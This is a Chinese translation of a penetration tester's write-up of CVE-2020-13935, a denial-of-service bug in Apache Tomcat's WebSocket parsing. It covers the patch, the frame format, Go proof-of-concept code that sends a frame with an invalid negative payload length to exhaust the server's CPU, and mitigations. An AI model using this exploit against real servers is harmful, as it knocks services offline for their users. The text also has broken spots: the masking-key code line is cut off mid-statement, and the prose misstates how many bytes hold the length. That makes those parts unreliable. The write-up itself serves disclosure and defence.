在本文中,我們將與讀者一起深入分析Apache Tomcat中的WebSocket漏洞。
Apache Tomcat是一種Java應用程式伺服器,常用於Web應用程式,我們在滲透測試中經常會遇到它。
在這篇文章中,我們將深入分析Apache Tomcat伺服器中近期曝出的一個漏洞及其利用方法,以幫助該軟體的用戶評估其面臨的業務風險。該漏洞是與WebSockets一起出現的拒絕服務漏洞,並且已分配了漏洞編號CVE-2020-13935。
在滲透測試期間,我們經常會碰到用戶運行過時版本的Apache Tomcat的情況。如果一個給定的版本包含漏洞,並且供應商(或維護者)已經發布了相應的安全更新,我們就會將該版本的軟體歸類為「過時的」。然而,有些漏洞只有在特定情況下才能被利用,而升級Web應用伺服器的代價通常會比較高昂。因此,用戶必須掌握簡單明了的信息,才能對該漏洞是否影響特定產品以及是否值得升級做出明智的決定。不幸的是,並不是所有的供應商/維護者在安全方面都會提供簡單明了的信息。
Apache Tomcat 9.0.37的版本說明顯示,已於2020年7月發現並修復了一個漏洞,相關內容如下所示:
WebSocket框架中的有效載荷的長度未能進行正確驗證,而無效的有效載荷長度可能會觸發無限循環,最終,過多的有效載荷長度無效的請求可能導致拒絕服務。
實際上,由於這些信息含糊不清,導致以下疑惑:
· 無效的有效載荷長度由哪些部分構成?
· 發生的是哪種拒絕服務?CPU被耗盡,還是內存被耗盡?甚至直接發生崩潰?
· 在什麼情況下應用程式容易受到攻擊?Apache Tomcat何時解析WebSocket消息?
· 攻擊者需要進行哪些投資?攻擊過程是否需要大量帶寬或計算能力?
· 如果無法升級的話,是否有變通的解決方案?
這些問題可以通過一些分析來回答,並且這也是我們滲透測試任務的一部分。
我們對Apache安全團隊針對該漏洞的安全補丁進行了分析後發現,他們通過在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代碼,來修復該漏洞的(為了便於閱讀,這裡重新對代碼進行了格式化):
// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
throw new WsIOException(
new CloseReason(
CloseCodes.PROTOCOL_ERROR,
sm.getString("wsFrame.payloadMsbInvalid")
)
);
}
正如我們所看到的,這裡添加了對有效載荷長度欄位的額外檢查,該欄位的類型為long,如果值為負,則引發異常。但是有效載荷長度怎麼可能是負值呢?
為了回答這個問題,讓我們需要了解一下WebSocket數據幀的結構;根據相應RFC的描述:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+--+-+---+-+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+--+-+---+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-+
| |Masking-key, if MASK set to 1 |
+-+-+
| Masking-key (continued) | Payload Data |
+-- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+---+
如上圖所示,一個數據幀的前16位包含多個位標誌以及7位有效載荷長度。如果將此有效載荷長度設置為127(二進位值為1111111),則應該使用所謂的64位的擴展有效載荷長度。此外,WebSocket RFC規定:
如果[7位有效載荷長度的值為]127,則後面的8個字節(最高有效位必須為0)將被解釋為64位無符號整數,也就是有效載荷長度。
儘管該欄位顯然是一個64位無符號整數,但RFC卻要求最高有效位為零,這似乎是一個特殊的選擇。也許做出這種選擇是為了提供與有符號版本的互操作性,但是卻可能會引起混亂,甚至導致安全漏洞。
接下來,我們將通過Go語言來實現概念驗證代碼。您可能會問為什麼要用Go語言呢?很簡單,因為我們覺得Go是一門非常棒的語言,不僅支持並發性,同時還為WebSockets提供了許多好用的代碼庫。此外,我們還能夠根據需要為任何平臺交叉編譯PoC。
下面,讓我們按照規範要求構建這樣一個WebSocket幀:它被Apache Tomcat解析時,有效載荷長度將是一個負值。首先,需要選擇位標誌FIN、RSV1、RSV2和RSV3的值。其中,標誌位FIN用於指示消息的最後一幀。由於我們要發送的整個消息都包含在單個幀中,因此,我們將該位設置為1。而另外的三個RSV位是為將來使用和擴展WebSocket規範而保留的,因此,它們都被設置為0。此外,opcode欄位(4位)用於表示發送的數據的類型,因此,該值必須有效,否則將丟棄該幀。就這裡來說,由於要要發送的是一個簡單的文本有效載荷,所以必須將該欄位的值設置為1。同時,Go庫github.com/gorilla/websocket還為我們提供了一個要用到的常量。這樣,我們就可以構造惡意WebSocket幀的第一個字節了:
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
第二個字節的第一個二進位位是MASK位,在從客戶端發送到伺服器的幀中,MASK位必須設置為1。我們最感興趣的部分是有效載荷長度,因為它的大小是可變的。如果WebSocket消息的有效載荷長度不超過125位元組,則可直接在7位有效載荷長度欄位中對長度進行編碼。對於長度在126和65535之間的有效載荷,7位有效載荷長度欄位將被設置為常數126,並且有效載荷長度在接下來的兩個字節中被編碼為16位無符號整數。對於較大的有效載荷,必須將7位有效載荷長度欄位設置為127,並且接下來的四個字節將有效載荷長度編碼為64位無符號整數。如前所述,對於以64位定義的有效載荷長度,根據規範,最高有效位(MSB)必須設置為零。為了在Apache Tomcat中觸發易受攻擊的代碼路徑,我們需要指定64位的有效載荷長度,並將MSB設置為1,因此,我們需要將7位有效載荷長度欄位設置為11111111:
// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))
為了構建一個有效載荷長度無效的數據幀,以觸發Apache Tomcat實現中的錯誤行為,我們需要將後面八個字節設置為0xFF:
// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
隨後的四個字節是掩碼密鑰(masking key)。按照規範的要求,它必須是一個來自強熵源的32位隨機值,但由於我們已經違反了規範,所以,我們不妨使用一個靜態掩碼密鑰,以使代碼更容易閱讀:
// 4 byte masking key
// leave zeros for now, so we do not need to mask
maskingKey := []byte不過,實際有效載荷本身可以小於指定長度:
// write an incomplete message
buf.WriteString("test")
數據包的組裝和傳輸代碼如下所示。為了更好地進行測試,我們將在發送以下內容後,讓連接繼續保持打開狀態30秒:
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
完整的概念驗證代碼可從github.com/RedTeamPentesting/CVE-2020-13935下載。
現在,我們只需運行go build命令,即可生成可執行文件。為了測試該程序,可以設置一個易受攻擊的Apache Tomcat實例,並以安裝時提供的WebSocket示例作為我們的測試目標:
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
這就是利用拒絕服務漏洞所需的全部操作。如果一個易受攻擊的WebSocket端點現在成為我們的目標,並且向其發送多個惡意請求,那麼它的CPU使用率將會迅速上升,伺服器就會變得反應遲鈍,直至毫無響應。
請注意,解析代碼僅由實際需要WebSocket消息的端點觸發。我們不能向任意的Tomcat HTTP端點發送這樣的消息。
根據相應的漏洞描述,以下版本的Apache Tomcat將受到該漏洞的影響:
· 10.0.0-M1 to 10.0.0-M6
· 9.0.0.M1 to 9.0.36
· 8.5.0 to 8.5.56
· 7.0.27 to 7.0.104
如果可能的話,請將您的Apache Tomcat伺服器更新到最新版本。然而,在某些情況下,更新方案可能是不可行的,或成本太高。在這種情況下,您應該檢測自己的產品是否存在漏洞。如上所述,該漏洞只能在WebSockets端點上觸發。因此,禁用或限制對這些端點的訪問能夠緩解這個安全問題。請注意,內置的示例目錄也包含處理WebSockets的端點。
以上就是所有的內容,祝大家閱讀愉快!
參考及來源:https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/